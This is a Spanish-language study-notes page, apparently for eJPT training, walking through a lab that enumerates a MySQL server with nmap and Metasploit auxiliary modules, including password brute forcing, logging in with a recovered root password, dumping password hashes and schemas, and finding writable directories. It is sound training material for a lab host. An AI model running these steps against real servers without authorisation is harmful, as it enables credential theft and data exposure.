> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/recopilacion-y-enumeracion-de-informacion/enumeracion/enumeracion-de-mysql-3306.md).

# Enumeración de MySQL (3306)

## 🗄️ MySQL Enumeration

* **MySQL** es un sistema de gestión de bases de datos relacional de código abierto basado en **SQL** (Structured Query Language).
* Se utiliza comúnmente para almacenar registros, datos de clientes y, especialmente, **datos de aplicaciones web**.
* Por defecto, **utiliza el puerto TCP 3306**, aunque como cualquier otro servicio, puede ser configurado para escuchar en otro puerto.

## 🛠️ ¿Qué podemos hacer durante la enumeración?

* Identificar la **versión** del servicio MySQL.
* Realizar **ataques de fuerza bruta** para obtener contraseñas válidas.
* Enumerar **bases de datos, tablas y usuarios**.
* Ejecutar **consultas SQL** si se logra acceso.

***

## &#x20;🧪Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/TjwzOwLkRope6G0Rzbbd" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/rvh03yUpTgNqQzz3hdVs" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Ejecute un escaneo nmap contra el objetivo:

**Dominio:**

```
nmap demo.ine.local
```

<figure><img src="/files/4n94HyybJdD2ptsjktW6" alt=""><figcaption></figcaption></figure>

El servicio MySQL se está ejecutando en el destino.

**Paso 4:** Ejecute el módulo **auxiliar/scanner/mysql/mysql\_version .**

**Comandos:**

```
msfconsole -q
use auxiliary/scanner/mysql/mysql_version
set RHOSTS demo.ine.local
run
```

<figure><img src="/files/FkvCuKQW8RMvlsj0u8pe" alt=""><figcaption></figcaption></figure>

**Paso 5:** Ejecute el módulo **auxiliar/scanner/mysql/mysql\_login .**

**Comandos:**

```
use auxiliary/scanner/mysql/mysql_login
set RHOSTS demo.ine.local
set USERNAME root
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
run
```

<figure><img src="/files/KJhSyS8LJegKq4NinL4U" alt=""><figcaption></figcaption></figure>

**Paso 6:** Ejecute el módulo **auxiliar/admin/mysql/mysql\_enum .**

**Comandos:**

```
use auxiliary/admin/mysql/mysql_enum
set USERNAME root
set PASSWORD twinkle
set RHOSTS demo.ine.local
run
```

<figure><img src="/files/3NI5ZcsVikvHZ5IsPMWt" alt=""><figcaption></figcaption></figure>

**Paso 7:** Ejecute el módulo **auxiliar/admin/mysql/mysql\_sql .**

**Comandos:**

```
use auxiliary/admin/mysql/mysql_sql
set USERNAME root
set PASSWORD twinkle
set RHOSTS demo.ine.local
run
```

<figure><img src="/files/kD7CiQhY38mwfhemveyS" alt=""><figcaption></figcaption></figure>

**Paso 8:** Ejecute el módulo **auxiliar/scanner/mysql/mysql\_file\_enum .**

**Comandos:**

```
use auxiliary/scanner/mysql/mysql_file_enum
set USERNAME root
set PASSWORD twinkle
set RHOSTS demo.ine.local
set FILE_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
set VERBOSE true
run
```

<figure><img src="/files/7F9wcbmH3lExNd0ASG3q" alt=""><figcaption></figcaption></figure>

**Paso 9:** Ejecute el módulo **auxiliar/scanner/mysql/mysql\_hashdump .**

**Comandos:**

```
use auxiliary/scanner/mysql/mysql_hashdump
set USERNAME root
set PASSWORD twinkle
set RHOSTS demo.ine.local
run
```

<figure><img src="/files/2vehR9l4SDcsLhNBi8Hg" alt=""><figcaption></figcaption></figure>

**Paso 10:** Ejecute el módulo **auxiliar/scanner/mysql/mysql\_schemadump .**

**Comandos:**

```
use auxiliary/scanner/mysql/mysql_schemadump
set USERNAME root
set PASSWORD twinkle
set RHOSTS demo.ine.local
run
```

<figure><img src="/files/j5QGCPwQrZGkqR9RF6uZ" alt=""><figcaption></figcaption></figure>

**Paso 11:** Ejecute el módulo **auxiliar/scanner/mysql/mysql\_writable\_dirs .**

**Comandos:**

```
use auxiliary/scanner/mysql/mysql_writable_dirs
set RHOSTS demo.ine.local
set USERNAME root
set PASSWORD twinkle
set DIR_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
run
```

<figure><img src="/files/lNy4LbC1EV1czb2yOeuC" alt=""><figcaption></figcaption></figure>

#### Conclusión

En este laboratorio, exploramos diferentes módulos de metasploit relacionados con MySQL que podemos ejecutar contra el objetivo y recopilar información confidencial.

#### References

* [MySQL](https://www.mysql.com/)
* Metasploit Modules:
  * <https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql\\_version>
  * <https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql\\_login>
  * <https://www.rapid7.com/db/modules/auxiliary/admin/mysql/mysql\\_enum>
  * <https://www.rapid7.com/db/modules/auxiliary/admin/mysql/mysql\\_sql>
  * <https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql\\_file\\_enum>
  * <https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql\\_hashdump>
  * <https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql\\_schemadump>
  * <https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql\\_writable\\_dirs>
